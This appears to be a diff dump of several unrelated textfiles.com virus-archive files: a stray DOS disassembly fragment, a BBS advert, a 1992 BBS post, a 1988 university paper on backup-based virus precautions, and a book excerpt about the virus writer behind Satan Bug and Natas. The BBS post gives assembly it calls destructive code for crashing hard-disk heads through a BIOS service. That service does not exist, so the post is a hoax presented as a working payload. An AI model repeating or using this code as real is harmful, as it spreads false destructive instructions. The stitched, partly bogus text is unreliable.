0000:0709 002A X0709: ADD [BP+SI],CH
0000:070B 0F POP CS
0000:070C 42 INC DX
0000:070D 01C1 ADD CX,AX
0000:070F 0DB44C OR AX,04CB4H
0000:0712 B000 MOV AL,00H
0000:0714 CD21 X0714: INT 021H
0000:0716 4D DEC BP
0000:0717 7344 JAE X075D
0000:0719 6F73 JG X078E
Another file downloaded from: NIRVANAnet(tm)
& the Temple of the Screaming Electron 415-935-5845
Just Say Yes 415-922-1613
Rat Head 415-524-3649
Cheez Whiz 408-363-9766
Reality Check 415-474-2602
Specializing in conversations, obscure information, high explosives,
arcane knowledge, political extremism, diversive sexuality,
insane speculation, and wild rumours. ALL-TEXT BBS SYSTEMS.
Full access for first-time callers. We don't want to know who you are,
where you live, or what your phone number is. We are not Big Brother.
"Raw Data for Raw Nerves"

32
textfiles.com/virus/killhead.vir Normal file
View File

@@ -0,0 +1,32 @@
99/100: RE: ...
Name: Spartacus #48 @892
Date: Sunday, August 30, 1992 1:59 pm
From: Night Light BBS [908-892-6723]
Reply to: Soth Amon #1 @2017
All right. Here it is (relevant destructive code only)...
CHOP DB 127 255 254 252 245 230 210 180 150 120 90 60 30 0
;Heights as in a common karate technique.
...
BREAKIT: MOV SI,CHOP
MOV CX,000E ;# of positions
MOV DX,0080 ;first fixed disk, head 0.
MOV AH,35 ;little known BIOS service that controls
;head height (int 13, serv 35).
KILLIT: LODSB
INT 13 ;call the service
;there is some inbuilt delay as the head moves
DEC CX
JNZ KILLIT
...
Note: This code WILL NOT break a Bernoulli Box cartridge, although it creates
many physical errors due to scratching and may destroy the head.
Sub: Virus Discussion

240
textfiles.com/virus/levine.pap Normal file
View File

@@ -0,0 +1,240 @@
Date: Thu, 15 Sep 88 10:29:56 CDT
From: Len Levine <len@EVAX.MILW.WISC.EDU>
Subject: Popular Level Paper
Not to be outdone by a couple of mere students, I am submitting my
paper that was first entered here in rough form. It was published
this week in the UWM campus computing newsletter and is at a lower
level than the Keil and Lee paper that I read here this week. It
serves a different audience. Thanks to those of you who made
suggestions, I took some of them.
Potential Virus Attack
by
L. P. Levine
There has been talk recently about the presence of virus programs
running on office computers. There now are a significant number of such
machines on this campus. If a virus does infect a significant number of
machines here it is possible that many office IBM compatible (or Macin-
tosh) machines will fail or lose files on the same day. It will be a
very unpleasant time and our professional staff will be overwhelmed by
requests for help and will take some time (weeks) to get the recovery
process under way. Most of us are unaware of how dependent we have
become on these desktop machines and how much we will be affected by the
loss of data that may ensue.
Perhaps we should define some terms here. There are two computer
program elements that need definition.
First is a Trojan Horse program. This sort of program, like its
historical namesake, has two functions. On the "outside" it does some-
thing to encourage the user to run it. Typically, Trojan Horse programs
may be games, small support programs, such as directory listers, or even,
in one case already on record, commercial software packages. On the
"inside" however, the program does something unfriendly to the computer
on which it runs. Some Trojan Horse programs delete files, some reset
clocks, some mark disk areas as unusable and some change the operating
system of the computer. The most destructive of them cause other pro-
grams to change their nature, usually by adding instructions to those
programs that make them Trojan Horse programs as well. These added
instructions are often called computer viruses.
A computer virus is a portion of a program that does not run alone,
but requires another program to support it. In this sense it is like a
biological virus, requiring a cell for a host in order to allow it to
work. Since it does not run alone, it does not appear in any directory
and is never directly executed. It moves from program to program by
making each program to which it is attached (infected so to speak) a
Trojan Horse program for further software infection. A virus may be
programmed to appear to do nothing for a long time (remain dormant), and
then, when some trigger event occurs, do whatever it is programmed to do.
The movement of a virus program element from machine to machine occurs
when a Trojan Horse program is run on that machine.
If a virus program element infects our office machines, then not
only will the company's office machines be affected, but the home ma-
chines that many staff members now have will also have their files af-
fected by the very same virus, and at the same time. If you are prepar-
ing a paper for publication, writing or working on an exam, or preparing
some important correspondence, you may well find that your machine read-
able copies of that material will become unusable both at home and at the
office.
This paper discusses some evasive action that you can do now to
prepare for the return of your machine to working order. What I am
recommending in this paper is no more than good housekeeping and is a
practice that each of us should do anyhow, with or without the threat of
some mysterious computer virus.
What I will discuss for the next few paragraphs applies to users who
have machines with either a floppy disk drive and a hard disk drive or
have two floppy disk drives on their computers.
Step one: Locate the original source disks for the operating system
you are now using on your computer. This may no longer be the system
delivered with your machine, you may well have had an upgrade. DO NOT
PUT THESE DISKS INTO YOUR FLOPPY DRIVE YET. Secure a few dozen write-
lock tabs and put one on each of the delivery system disks. (When you
hold a disk upright the right side of the disk has a 1/4" square notch
cut into the black paper jacket. The write-lock tabs are black or alumi-
num colored gummed paper tags about 3/4" X 1/2" that can be stuck over
the edge of the disk covering the front and back of this notch. When
that tab is in place it is not possible for the computer to write infor-
mation onto a floppy disk.)
Only after you have write-locked these disks should you put the disk
into the computer and compare the system on that disk with the system you
are using. STOP AND READ THE NEXT SENTENCE! The simple act of executing
the DIR command on an unlocked disk is enough to infect that disk with a
virus if your system is already infected and if the disk is not write-
locked. I am not kidding. There is a very small probability that your
system is already infected. I recommend that you compare the date and
size of the file COMMAND.COM on your original source disks and on your
working disk or disks to see that they are the same. For my system the
results look like this:
------------------------------------
C> dir a:\command.com
Volume in drive A is MS330PP01
Directory of A:\
COMMAND COM 25276 7-24-87 12:00a
1 File(s) 5120 bytes free
C> dir c:\command.com
Volume in drive C has no label
Directory of C:\
COMMAND COM 25276 7-24-87 12:00a
1 File(s) 7391232 bytes free
------------------------------------
Note that both copies of COMMAND.COM have the same date and time of
creation (midnight on July 24th 1987) and both are the same size (25,276
bytes). The numbers for your machine may well differ from mine, but both
should be the same. When those disks have been found, put them away in a
safe place. I recommend that they be put in a plastic storage box not
too near your computer.
Step two: There are a small number of software packages that you
would be lost without. In my case they include WordStar, dBase III,
PKARC, Kermit, and Directory Scanner. These packages may well be pur-
chased commercial software (WordStar, dBase III), shareware (PKARC,
Directory Scanner), and freeware (Kermit). In each case you should have
an original source delivery disk for each of these packages. Find those
disks, WRITE LOCK THEM, compare them with the copies you are now using,
and put them in a safe place. I recommend that they be put with the
system disks discussed above. (It is probably true that the creation
dates for the running copies of this sort of software will disagree with
the creation dates for the delivery disks. Installation of many of these
packages entails writing to the program. That is not a problem.)
Step three: Using the backup procedure of your choice, perform a
backup of the system files on your computer. If I was using a dual
floppy based system, I would simply make copies of my working WordStar,
dBase III, PKARC, Kermit, and Directory Scanner disks. If I was using a
computer with a floppy and a hard disk, I would use backup-restore, or
Fastback or some other package to back up the directories C:\WS, C:\DB3,
C:\ARK, C:\KERMIT and C:\DS. (Of course these directories have different
names on your system.) Write lock these backup disks. Label them with
today's date. Using your backup system compare the disks you have just
backed up with the disks you are using to ensure that the backup "took".
Put the backup disks in a safe place. This will tie up half a dozen
disks, but with disks now costing $0.35 each, you will probably find the
$2 investment worth while.
Step four: (This applies to those users who use hard disk based
computers.) Prepare a backup procedure that will permit incremental
backups. This will entail backing up the entire system once, and then
periodically backing up those files that have changed since the last
backup.
Perform such incremental backups regularly. After several such
incremental backups, the size of the backup set will become quite large.
At that time, put the backup set away in a safe place and begin with
another set of disks for a full system backup followed by several incre-
ments. When the second set is full, put them away and return to the
first set. This will afford a very secure set of backup files. I find
that 50 disks makes a good backup set. Thus 100 disks would be used for
the double backup group. I suspect that most users would need to do a
full backup about 4 to 8 times per year, requiring about 1/2 hour of
manipulation and should do incremental backups about twice per week,
requiring less than 5 minutes.
(It is a very good idea to periodically test the backup system with
a verification of what you have backed up. Most file backup systems have
a Verify command to do this sort of test.)
Step five: Go back to your useful work.
Recovery from the loss of one or a few files:
Sooner or later you will lose some files. They will disappear
without apparent cause and you will blame the problem on a virus. It is
my experience that in cases like this no virus is involved, the loss of
files will be due to an operator error. If you have been doing incremen-
tal backups, then the simplest corrective action is to use the recover
feature of the backup system that you are using and simply restore the
latest copy of the lost file(s) to the hard disk. If you have been
conscientious in your backup practice, then the loss of work will entail
just a few minutes or, at most, a few hours of rework.
Recovery from the loss of the entire system:
It may happen that the entire hard disk seems to be lost. This is
serious but, in most cases, is likely not the result of a virus. Most
failures of the hard disk are due to hardware problems. The best solu-
tion is to repair the hardware if the technical people judge that that is
the problem, and then, after reformatting the hard disk, restore the
system from your latest backup. Almost without fail, this will result in
a complete return to a normal system.
Really bad news, the restore does not work:
This may well be the point of this memo. If a virus has been plant-
ed in your system and has been set to trigger on some event, then the
only way to recover is to rebuild the system from scratch using the write
locked set of disks that I advised you to prepare above. If these disks
are not write locked, and if you mount them onto an infected system, then
the disks will be infected in turn and you may well be unable to restore
>From a clean, uninfected source without returning to the system vendor
for a fresh copy of each of your executable programs. On the assumption
that you first build your system again from scratch, you may restore all
of the data files from your backup set. (A data file is one that does
not have the extension .com, .exe, or .sys.) Any other file should not
be able to carry a virus either between systems or over the backup proc-
ess.
Some facts:
There is no reason ever to boot the system from a foreign disk whose
history you are not prepared to trust. (For example, booting from a copy
protected version of Lotus 1-2-3 is as secure as the Lotus corporation
can make it.)
There is no reason why a disk used to transport data between ma-
chines should have a copy of the files io.sys, msdos.sys, ibmio.sys,
ibmdos.sys or command.com on it.
No system to date has been infected by the transport to it of data
files. Only executable files (including device drivers and the operating
system itself) can be used as Trojan Horse programs.
Leonard P. Levine
Professor
Department of Computer Science
College of Engineering and Applied Science
University of Wisconsin-Milwaukee
Milwaukee, Wisconsin 53201
(414) 229-5170
(414) 962-4719

1080
textfiles.com/virus/lminterv.iew Normal file
View File

File diff suppressed because it is too large Load Diff

670
textfiles.com/virus/locprst.txt Normal file
View File

@@ -0,0 +1,670 @@
[An excerpt from THE VIRUS CREATION LABS: A JOURNEY
INTO THE UNDERGROUND]
A PRIEST DEPLOYS HIS SATANIC MINIONS
Everyone knows the best virus writers hang out on
secret bulletin board systems, the bedroom bohemias
of the computer underground, right? Wrong. In
mid-1992, a 16-year-old hacker from San Diego who called
himself Little Loc signed on to the Prodigy on-line service
for his virus information needs. The experience was
not quite what he expected.
Prodigy had a reputation in 1992 as the on-line service
for middle-class Americans who could stand mind-roasting
amounts of retail advertising on their computer screens as
long as they had relatively free access to an almost
infinite number of public electronic mail forums devoted
to callers' hobbies. Since Prodigy's pricing scheme was
ridiculously cheap per hour, it was quite seductive for
callers to spend an hour or two a night sifting through
endless strings of messages just to engage in a little
cyberspace chit-chat.
Into this living-room atmosphere stepped Little Loc, logged
on as James Gentile, looking for anyone to talk with about
computer viruses, particularly
his idea of properly written computer viruses. Little
Loc, you see, had written a mutating virus which infected
most of the programs on a system dangerously quickly.
If you were using anti-virus software that didn't properly
recognize the virus - and at the time it was written none
did - the very process of looking for it on
a machine would spread it to every possible program on
a computer's hard disk. While many viruses were trivial
toys, Satan Bug, which is what Little Loc called his
program, was sophisticated enough to pose a real hazard.
The trouble was, Little Loc was dying to tell people
about Satan Bug. But he had no one to talk to who would
understand. That's where Prodigy came in.
Prodigy, thought Little Loc, must have some hacker
discussions, even if they were feeble, centered on viruses.
It was a quaintly naive assumption.
The Satan Bug was named after a Seventies telemovie starring
George Maharis, Anne Francis and a sinister Richard
Basehart in a race to find a planet-sterilizing super
virus stolen from a U.S. bio-warfare lab.
Little Loc had never actually seen the movie, but he'd
run across the name in a copy of TV Guide
and it sounded cool, so he used it for his digital
creation. Satan Bug was the second virus he had electronically
published. The first was named Fruitfly but it was a
slow, tame infector so the hacker didn't push it.
A bigger inspiration for Satan Bug was the work of the
Dark Avenger, the shadowy Bulgarian virus programmer whom
anti-virus software p.r. men and others had elevated to
the stature of world's greatest virus writer. Little Loc was fascinated
by the viruses attributed to Dark Avenger. The Dark Avenger
obviously knew how real computer viruses should be written,
thought Little Loc. None of his programs were like the silly
crap that composed most of the files stocked by the
computer underground. For example, his Eddie virus - also
known as Dark Avenger - had gained a reputation as a program to
be reckoned with. It pushed fast infection to a fine art,
using the very process anti-virus programs used to examine
files as an opportunity to corrupt them with its presence.
If someone suspected they had a virus, scanned for it and
Eddie was in memory but not detected, the anti-virus
software would be subverted, spreading Eddie to every
program on the disk in one sweep. Eddie would also
mangle a part of the machine's command shell when it jumped
into memory from an infected program.
When this happened, the command processor would reload
itself from the hard disk and promptly be infected, too.
This put the Eddie virus in total charge of the machine.
From that point on, every sixteen infections, the virus
would take a pot shot at a sector of the hard disk,
obliterating a small piece of data. If the data were
part of a never-used program, it could go unnoticed.
So as long as the Eddie virus was in command, the
user stood a good chance of having to deal with a slow,
creeping corruption of his programs and data.
Little Loc was a good student of the Dark Avenger's
programming and although he was completely self-taught,
he had more native ability than all of the other virus
programmers in the phalcon/SKISM and NuKE hacking groups.
"[Virus writing] was something to do besides blasting furballs
in Wing Commander," he said blithely when asked about
the origins of his career as a virtuoso virus writer.
Accordingly, the Satan Bug was just as fast an infector as
Eddie and it, too, would immediately go after
the command shell when launched into memory from
an infected program. But Satan Bug was very
cleverly encrypted, whereas Eddie was not,
and it extended these encryption tricks so that it
was cloaked in computer memory, a feature somewhat
unusual in computer viruses but popularized by another
program called The Whale which intrigued Little Loc.
The Whale was a German virus which - theoretically -
was the most complex of all computer viruses. It
was packed with code which was supposed to make it
stealthy -- invisible to certain anti-virus software
techniques. It was armored with anti-debugging code
and devilishly encrypted, designed purely to
flummox anti-virus software developers trying to examine it.
They would often mention it as an example of a super
stealth virus to mystified science and technology
writers looking for good copy. In practice, The
Whale was what one might call anti-stealth.
Although it was all the things mentioned and more,
when run on any machine, The Whale's processes
were so cumbersome the computer would be forced to
slow to a crawl. Indeed, it was a clever fellow who could
get The Whale to consent to infect even one program.
The Whale appeared to be purely an intellectual
challenge for programmers. It was intended to mesmerize
anti-virus software developers and suck them into
spending hours analyzing it. Little Loc, too, was
drawn to it. He pored over the German
language disassembly of The Whale's source code.
The hacker even made a version that wasn't encrypted,
pulling out the code which The Whale used to generate
its score of mutant variations. It didn't help. The
Whale, even when disassembled, was loathe to let go of
its secrets and remained a slow, obstinately
uninfective puzzle.
Have you gotten the idea that Prodigy callers might
not be the perfect choice as an audience to
appreciate Little Loc's Satan Bug?
Nevertheless, Little Loc landed on Prodigy with a thud.
He described the Satan Bug and invited anyone who
was interested to pick up a copy of its source code at
a bulletin board system where he'd stashed it. Immediately,
the hacker got into a rhubarb with a Prodigy member named
Henri Delger. Delger was, for want of a better description,
the Prodigy network's unpaid computer virus help desk
manager. Every night, Delger would log on and look for
the messages of users who had questions about computer
viruses. If they just wanted general information, Delger
would supply it. If they had some kind of computer glitch
which they thought might be a virus, Delger would hold their
hand until they calmed down, and then tell them what to
do. And, for the few who had computer virus infections,
Delger would try to identify the virus and recommend
software, usually McAfee Associates' SCAN, which would
remedy the problem.
Little Loc was annoyed by Delger, whom he thought was merely
a shill for McAfee Associates. Since Delger
answered so many questions on Prodigy, he had a set of
canned answers which he would employ to make the workload
lighter. The canned answers tended to antagonize Little Loc
and other younger callers who fancied themselves hackers, too.
Prodigy's liberal demo account policy allowed some of
these young callers to get access to the network under
assumed names like "Orion Rogue." This allowed them to be
rude and truculent, at least for a few days, to paying
Prodigy customers. These techno-popinjays, of course,
immediately sided with Little Loc, which didn't do much for
the virus programmer's credibility.
There was often quite a bit of talk about viruses and Delger
would supply much of the information, typing up brief
summaries of virus effects embroidered with his own
experiences analyzing viruses. "You're not a
programmer!" Little Loc would storm at Delger.
If you weren't a programmer, you couldn't understand viruses,
insisted the author of Satan Bug. Little Loc would correct
minor technical errors Delger made when describing the
programs. In retaliation, Delger would calmly point out the
spelling mistakes made by Little Loc and his
colleagues. It was quite a flame war. On one side
was Little Loc, who gamely tried to get callers to appreciate
the technical qualities of some viruses. On the other side
was a bunch of middle-aged computer hobbyists who were convinced
all virus writers were illiterate teenage nincompoops in
need of serious jail time, or perhaps a sound beating.
The debates drew a big audience, including another hacker
named Brian Oblivion, whose Waco, Texas, bulletin board,
Caustic Contagion, would provide a brief haven for Satan
Bug's author. Little Loc, however, soon found other
places that would accept his virus source code. Kim
Clancy's famous Department of the Treasury Security
Branch system was among them. Little Loc logged on and proffered
Satan Bug. The Hell Pit - a huge virus exchange in
a suburb of Chicago - had its phone number posted on Prodigy,
as was that of one called Dark Coffin, a system in eastern
Pennsylvania. Dutifully, Little Loc couriered his virus to
these systems, too.
Satan Bug was a difficult virus to detect. Although in
a pinch you could find Satan Bug because of a trick
change it made to an infected program's date/time stamp,
for all intents and purposes Satan Bug was transparent
to anti-virus scanners. And this window of opportunity
stayed open for a surprising amount of time despite
the fact that Little Loc had supplied the Satan Bug to
all the public virus exchanges patrolled by anti-virus
moles.
Little Loc stood apart from other virus
programmers who seemed to have little
interest in whether their creations made it into
the public's computers. The real travel of his
virus around the world would grant him recognition
like that of the Dark Avenger, he thought. So, he
wanted people to take Satan Bug and infect
the software of others, period.
Months later, after the virus had struck down the Secret
Service network clear across the continent, I asked
Little Loc how it might have gotten into the wild
in large enough numbers so that it eventually found
its way into such a supposedly secure system.
"I'll tell you this once and only once: Satan Bug had help!"
he said, simply.
After his Prodigy debut and before Satan Bug hit the
Secret Service, Little Loc was recruited by the virus-writing
group phalcon/SKISM, changing his handle in the
process to Priest. Joining phalcon/SKISM didn't necessarily
mean you were going to virus writing conventions in cyberspace
with other members of the group, but it was a badge of
status signifying to others in the computer underground who
required such things that you had arrived, as a virus writer
anyway.
Since Priest lived on the West Coast, however, and the brain
trust of phalcon/SKISM was located in the metro-NYC area,
there was little concrete collaboration between the two,
especially after Priest racked up a $600 telephone bill
calling bulletin boards. Since Priest didn't hack free
phone service, his family had to pay the bill, which effectively
cut down on much of his long distance telephone contact
bulletin board systems like Caustic Contagion in Waco, Texas.
Caustic Contagion, for a short period of time, was one of the
better known virus exchange bulletin board systems. Its
sysop, Brian Oblivion, had an extremely liberal policy with
regards to virus access and carried a large number of
Internet/Usenet newsgroups which gave callers a semblance
of access to the Internet. Caustic Contagion's other
specialty, besides viruses, was Star Trek newsgroups and
for some reason which completely eludes me, the BBS's
callers found the convergence of computer viruses and
Star Trek debate extremely congenial.
Priest and another phalcon/SKISM virus writer named
Memory Lapse would hang out on Caustic Contagion.
Quite naturally, Oblivion's bulletin board was
one of the first places to receive the
programmers' newest creations, often
before they were published in phalcon/SKISM's electronic
publication, 40Hex magazine.
Priest's next virus was Payback and it was written to punish
the mainstream computing community for the arrest
of Apache Warrior, the "president" of ARCV, a rather
harmless but vocal English virus-writing group which had
been undone when Alan Solomon, an anti-virus software
developer, was able to convince New Scotland Yard's
computer crime unit to seize the hacking group's equipment
and software in a series of surprise raids. Priest's Payback
virus would format the hard disk in memory of this event.
Payback gathered little attention in the underground, mostly
because few people knew much about ARCV and Apache
Warrior in the first place.
Another of Priest's interests was the set of
anti-virus programs issued by the Dutch company,
Thunderbyte. The product of a virus researcher
named Frans Veldman, the Thunderbyte programs were
regarded by most virus writers as the anti-virus
programs of choice. They were sophisticated,
technically sweet and put to shame similar software
marketed by McAfee Associates, Central Point Software,
and Symantec, which manufactured the Norton Anti-virus.
One of Frans Veldman's programs, called TBClean,
was of particular interest to Priest and others
because it claimed to be able to remove
completely unknown viruses from infected files.
How it did this was a neat trick. Essentially,
TBClean would execute the virus-infected file
in a controlled environment and try to take
advantage of the fact that the virus always had
to reassemble in memory an uncontaminated copy
of the infected program to make it work
properly. TBClean would intercept this action
and write the program back to the hard disk sans
virus. Priest and virus writer Rock Steady, the
leader of the NuKE virus-writing group,
had also noticed the phenomenon. Both tried writing
viruses that would subvert the process and turn
TBClean upon itself.
Priest wrote Jackal, a virus which - under the proper
conditions - would sense TBClean trying to execute
it, step outside the Thunderbyte software's controls
and format the hard disk. In theory, this made Priest's
virus the worst kind of retaliating program, with the
potential to destructively strip unsuspecting users'
hard disks of their data when they tried to disinfect
their machines. (It couldn't happen if you just
manually erased the Jackal-virus-infected program,
but many people who use computers
as part of everyday work simply want the option of having
the software remove viruses. They don't want to
have to worry about the technicalities
of retaliating viruses designed to smash their data
if they have the temerity to use anti-virus software.)
Of course, Jackal's development was deemed
a great propaganda victory by the North
American virus underground. Rock Steady nonsensically
insisted Frans Veldman's programs were dangerous
software because TBClean could be made to augment a
virus infection instead of remove it.
Brian Oblivion immediately tried Jackal out. It didn't
work, he said, but only caused TBClean to hang up
his machine. This was because Jackal was version
specific, explained Priest. It would only work on certain
editions of the program. In reality, this meant that
Jackal's retaliating capability posed little threat
to typical computer users, who had never heard of
the virus-programmer's favorite software, Thunderbyte,
much less TBClean. Nevertheless, Priest continued to
write the TBClean subverting trick into his viruses,
including it in Natas (that's Satan spelled backwards),
which eventually got loose in Mexico City in the spring
of 1994.
All the routines to format a computer's hard disk and to
slowly corrupt data ala the Eddie virus, which
Priest had designed his Predator virus to do, made
it clear the hacker cared little for any of the finer
arguments over the value of computer viruses which were
entertained from time to time by denizens of the underground
as well as academics. Viruses were for getting your name
around, infecting files and destroying data, according
to Priest. He just laughed when the topic of ethical
or productive uses of computer viruses -- such as the study
of artificial life -- came up.
In any case, by the fall of 1993, after Priest had
retired from the Prodigy scene, Satan Bug was
generating its own kind of media-fueled panic.
On the Compuserve network, hysterical government
employees were posting nonsensical alarums
about the virus in the McAfee Associates
virus information special interest group.
"Satan's Bug" was part of a foreign power's attempt
to sabotage government computers! It was encrypted
in nine different ways and was "eating" your data!
A State Department alarm had started!
Wherever the information about "Satan's Bug" was
coming from, it was 100 percent phlogiston. Satan Bug was hardly
aimed at government computer systems. It did not "eat" anything
and although difficult for many anti-virus programs to scan, the
virus could be found on infected systems by making good use
of software designed to take a snapshot of the vital statistics
of computer files and sound an alarm when these changed, which
always happened when Satan Bug added itself to programs.
Even more amusing was the suspicion that Satan Bug had been
inserted on government computers by some undisclosed foreign
country, from whence it originated. I suppose, however,
some people might consider Southern California a foreign country.
Priest enjoyed reading these kinds of things. His virus was
famous, an obvious source of confusion and hysteria.
About the same time, the Secret Service's computer network
in Washington, D.C., was infected by the virus, which knocked
the infected machines off-line for approximately three
days. News about the event was tough to keep secret among
government employees and it leaked. The Crypt Newsletter
published a short news piece in its September 1993 issue
on the event and reported that the infection had
been cleaned up by David Stang, formerly of the National
Computer Security Association, but now providing anti-virus
and security guidance for Norman Data Defense Systems in
Fairfax, northern Virginia.
Jack Lewis, head of the Secret Service's computer crime
unit, and two other agents flew out to interrogate
Priest in his San Diego home in October of 1993.
Lewis and the other agents gave Priest the third degree.
They shook a printed-out copy of The Crypt Newsletter
containing the Satan Bug story in his face and did
everything in their power to make Priest think he ought
to cease and desist writing computer viruses forthwith.
"About the Secret Service, they weren't too happy about
[Satan Bug], and saw fit to pay me a little visit," recalled
Priest ruefully.
The agents wanted to know everything about Priest - his Social
Security number, where he'd travelled, even who the 16-year-old
worked for. But Priest didn't work for anyone.
"I'm not quite sure they believed me," he said.
"Apparently, they thought I worked for some anti-virus
company or something to write viruses. Plus, they wanted
the sources for them."
The Secret Service men wanted to know, straight from the
horse's mouth, what Satan Bug did. "They said some victims were
worried their systems weren't completely clean because they
thought it might infect data files," Priest continued. "I told
them it wouldn't. They also wanted my opinion on things which
surprised me, like different anti-virus programs and encryption
algorithms, including Clipper. I didn't ask why.
"Jack Lewis also said someone claimed I said 'All government
computers will be infected by December' or some such rubbish.
Apparently, they thought I wrote Satan Bug as a weapon against
the government or whatever, I can't be too sure . . ."
Priest told them no, Satan Bug wasn't specifically aimed at
government computers, but it was hard to tell if the
agents believed him. They were trained to reveal little,
and to be unnerving to those interviewed.
"They just stared," Priest said, "as they did in response to
every question I asked, including 'what's your name?'
I tried - really tried - to act cool, but my heart was pounding
like a hummingbird's."
The agents were keenly interested in Priest's other
handles, all the viruses he had written, which, if any,
computer systems he might have spread them on, the
names of some phalcon/SKISM members and the structure
of the virus-writing group and details of their
hacking exploits.
Priest declined to say anything about the identities of members
of phalcon/SKISM. "I told them I knew nothing of the
hackers and phreakers, and little more than you could pick up
from reading an issue of 40Hex."
Priest was more interested in other secretive agencies
within the government. He cultivated an interest in
stories about deep black intelligence agencies. Perhaps
he envisioned himself writing destructive viruses as part
of a covert weapons project for one of them.
"Aren't there any other agencies which would be more
interested in what I'm doing?" Priest asked the agents.
He didn't get an answer.
Eventually, the Secret Servicemen went away
with a Priest-autographed printout of the source code
to Satan Bug.
Programming Satan Bug had turned out to be richly rewarding
for Priest. Not only had it gotten him recognized immediately
in the computer underground, it had made him feared in the
trenches of corporate America to the point where the Secret
Service had felt compelled to intervene.
Since the Satan Bug panic was a golden opportunity for anti-virus
vendors to once again market wares, the stories in the
computing press kept coming. LAN Times put the virus on
the front page of its November 1 issue with the headline,
"Be on the Lookout for the Diabolical 'Satan Bug' Virus."
LAN Times East Coast bureau chief Laura Didio
wrote "the Satan Bug is designed
to circumvent the security facilities in Novell Inc.
Netware's NETX program, thereby allowing it to spread
across networks." While Satan Bug may have certainly
spread across networks, it had nothing to do with the
virus's design. It seemed no matter the truth about
Satan Bug, the story just got more pumped up with
phlogiston and air as it rolled along.
"What's NETX?" asked Priest when he heard about the
LAN Times article.
Of course, the LAN Times article accurately served as
an advertisement for the Satan Bug-detecting software
of Norman Data Defense Systems and McAfee Associates.
Priest, meanwhile, continued to work on viruses.
He had just completed Natas, which he'd turned over
to the Secret Service and to phalcon/SKISM for publication
in an issue of 40Hex. He also uploaded the virus to
a couple of bulletin board systems in Southern
California. And he finished a very small,
96-byte .COM program-infecting virus.
And there were other things he was working on, he said.
The most interesting fallout from the Secret Service visit was
a job offer from David Stang at Norman Data Defense
Systems, said Priest. Stang wanted the virus programmer
to come to work for him, starting in the summer of 1994,
after the hacker finished high school.
Priest said Stang was interested in his opinion
about the use of virus code in anti-virus software.
Such code wasn't copyrighted, so it was fair game.
Priest thought this was a bad idea. Too much virus
code, in his opinion, was crappy anyway, so why would
anyone want to use it? But Priest said he would think
about the job offer.
By May 1994, Priest's Natas virus had cropped up
in Mexico City, where, according to one anti-virus software
developer, it had been spread by a consultant providing
anti-virus software services. Through ignorance and
incompetence, the consultant had gotten Natas attached
to a copy of the anti-virus software he was using.
However, like most of Priest's viruses, Natas was a bit
more than most software could handle. The software detected
Natas in programs but not in an area of the hard disk known
as the master boot record, where the virus also
hid itself. The result was tragicomic. The consultant
would search computers for viruses. The software would find
Natas! Golly, the consultant would think, "Natas is here!
I better check other computers, too." And so, the
consultant would take his Natas-infected software to
other computers where, quite naturally, it would also
detect Natas as it spread the virus to the master boot
record, a part of the computer where the software could
not detect Priest's program.
Natas had come to Mexico from Southern California. The
consultant often frequented a virus exchange bulletin
board system in Santa Clarita which not only stocked Natas,
but also the issue of 40Hex that contained its source
code. He had downloaded the virus, perhaps not fully
understood what he was dealing with, and a month or so
later uploaded a desperate plea for help with Priest's
out-of-control program. You could tell from the date
on the electronic cry for help -- May 1994 -- when Natas
began being a real problem in Mexico.
Natas was another typical tricky Priest program. When in computer
memory, it masked itself in infected programs and made them
appear uninfected. It would also retrieve a copy
of the uninfected master boot record it carried encrypted in
its body and fake out the user by showing it to him if he tried
to go looking for it there. Natas also infected diskettes
and spread quickly to programs when they were viewed,
copied or looked at by anti-virus software. It was fair to
say that computer services providers wielding anti-virus
software in a casual manner ought
not to have been allowed anywhere near Natas.
Back in San Diego, Priest was still being interviewed on the
telephone by David Stang and other associates at Norman
Data Defense Systems. They were concerned that Priest
might leak proprietary secrets to competitors after hiring,
so it was a must that he be absolutely sure of the
seriousness of his potential employment.
By the end of the interview, Priest thought he didn't have
much of a chance at the job, but by July he'd accepted
an offer and moved to Fairfax to begin working for
David Stang. This was the same David Stang who had written
in the July 1992 issue of his Virus News and Review magazine,
"In this office, we try to see things in terms of black
and white, rather than gray . . . The problem is that
good guys don't wear white hats. Among virus researchers
are a large number of seemingly gray individuals . . .
This grayness is clear to users. Last week, I asked my
class if anyone in the room trusted anti-virus vendors.
Not one would raise their hand . . . "
But what was Priest working on at Norman Data Defense
Systems?
"A cure for Natas," he laughed softly one afternoon in
late July, 1994, in the Norman Data office. Looking
over the virus once more, Priest
sardonically concluded that his disinfector made it clear the
hacker had made Natas a little too easy to remove from
infected systems. Norman Data Defense had clients in Mexico
and at the Secret Service.
You had to admire the moxie of the young American
virus programmer. He'd set out in 1992 to emulate the
world's greatest virus programmer, Dark Avenger, and
ended up being paid cash money to cure the paintpots
of computer poison he'd created. As for that poor stone
fool, the legendary Dark Avenger, he never even got
a handful of chewing gum for his viruses, having the
misfortune to have been born in the wrong place, Bulgaria,
at the wrong time, during the fall of Communism.
But by the end of the summer, the blush was off the rose
for Priest and Norman Data, too. Another manager in the
office, Sylvia Moon, didn't like the idea of the hacker
working for the company, Priest said. And when management
representatives arrived from the parent corporation
in Norway on an inspection tour and were appraised of
Priest's status at a meeting, the hacker heard, they were
not pleasantly surprised to learn there was a virus writer
on the staff. Officially, said Priest, there was no
reaction, but in reality, the hacker felt, the atmosphere
was deeply strained. Nevertheless, said Priest,
David Stang maintained that he would protect the hacker's
position. And Jack Lewis, said Priest, had contacted
the company to set up a luncheon date with the hacker
to discuss more technical issues. However, Priest
said, David Stang wanted Lewis to provide a Secret Service
statement to the effect that the hiring of the hacker
wasn't such a bad idea. The luncheon fell through.
The Secret Service would provide no such statement
because, said Priest, it might be construed as a
conflict of interest. Unknown to him at the
time, the agency had also started spying on
his comings-and-goings in Fairfax.
It all came to an end when one of Priest's acquaintances
from the BBSes called the Norman Data office and left a
message for "James Priest." Priest was immediately
let go. David Stang, said Priest, told him the call was
an indication that the hacker couldn't be trusted, that
he was still in touch with the underground.
Paranoia and recriminations flew. There had been an intern
from William & Mary working at the company whose father
was a Pentagon official, said Priest. The rumor was that
Priest had been pumping the intern for information on
how to penetrate Pentagon computers and siphoning it back
into the underground. It was nonsense, said the hacker,
but it became the official version of events. These
were pretexts, thought Priest. The real reason he had to
be shown the door, he said, was pressure from the higher-ups
in Norway. They had been presented with him as a done-deal
hire and it hadn't set well, he said. David Stang, said
Priest, needed a reason to cut him loose and the phone call
from the friend had been the peg to hang it on. Priest
was a hot potato and he had to go.
Back in San Diego once again, Priest almost sounded relieved.
He had a Sylvia Moon-autographed copy of a computer book
as a memento from the company and that was it. However,
he had finally been able to videotape "The Satan Bug"
